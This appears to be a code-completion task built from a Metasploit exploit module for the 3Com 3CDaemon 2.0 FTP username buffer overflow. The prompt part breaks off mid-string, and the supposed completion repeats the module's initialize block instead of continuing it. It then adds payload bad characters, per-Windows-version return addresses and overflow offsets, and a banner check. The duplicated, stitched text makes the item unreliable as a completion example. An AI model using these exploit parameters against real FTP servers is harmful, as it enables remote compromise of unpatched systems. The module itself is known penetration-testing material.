You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: 3cdaemon_ftp_user.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/ftp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => '3Com 3CDaemon 2.0 FTP Username Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the 3Com 3CDaemon
        FTP service. This package is being distributed from the 3Com
        web site and is recommended in numerous support documents.
        This module uses the USER command to trigger the overflow.
      },
      'Author'         =>
        [
          'hdm',       # Original author
          'otr'        # Windows XP SP3
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-0277'],
          [ 'OSVDB', '12810'],
          [ 'OSVDB', '12811'],
          [ 'BID', '12155']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'target' => 0
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 674,
          'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
          'StackAdjustment' => -3500,
          'Compat'   =>
            {
              'ConnectionType' => "-f
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => '3Com 3CDaemon 2.0 FTP Username Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the 3Com 3CDaemon
        FTP service. This package is being distributed from the 3Com
        web site and is recommended in numerous support documents.
        This module uses the USER command to trigger the overflow.
      },
      'Author'         =>
        [
          'hdm',       # Original author
          'otr'        # Windows XP SP3
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-0277'],
          [ 'OSVDB', '12810'],
          [ 'OSVDB', '12811'],
          [ 'BID', '12155']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'target' => 0
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 674,
          'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
          'StackAdjustment' => -3500,
          'Compat'   =>
            {
              'ConnectionType' => "-find"
            }
        },
      'Platform'       => %w{ win },
      'Targets'        =>
        [
          [
            'Windows 2000 English', # Tested OK - hdm 11/24/2005
            {
              'Platform' => 'win',
              'Ret'      => 0x75022ac4, # ws2help.dll
              'Offset'   => 229,
            },
          ],
          [
            'Windows XP English SP0/SP1',
            {
              'Platform' => 'win',
              'Ret'      => 0x71aa32ad, # ws2help.dll
              'Offset'   => 229,
            },
          ],
          [
            'Windows NT 4.0 SP4/SP5/SP6',
            {
              'Platform' => 'win',
              'Ret'      => 0x77681799, # ws2help.dll
              'Offset'   => 229,
            },
          ],
          [
            'Windows 2000 Pro SP4 French',
            {
              'Platform' => 'win',
              'Ret' => 0x775F29D0,
              'Offset'   => 229,
            },
          ],
          [
            'Windows XP English SP3',
            {
              'Platform' => 'win',
              'Ret'      => 0x7CBD41FB,   # 7CBD41FB JMP ESP shell32.data SP3
              #'Ret'      => 0x775C2C1F,   # 775C2C1F JMP ESP shell32.data SP1
              'Offset'   => 245,
            },
          ],
        ],
      'DisclosureDate' => '2005-01-04'))
  end

  def check
    connect
    disconnect
    if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end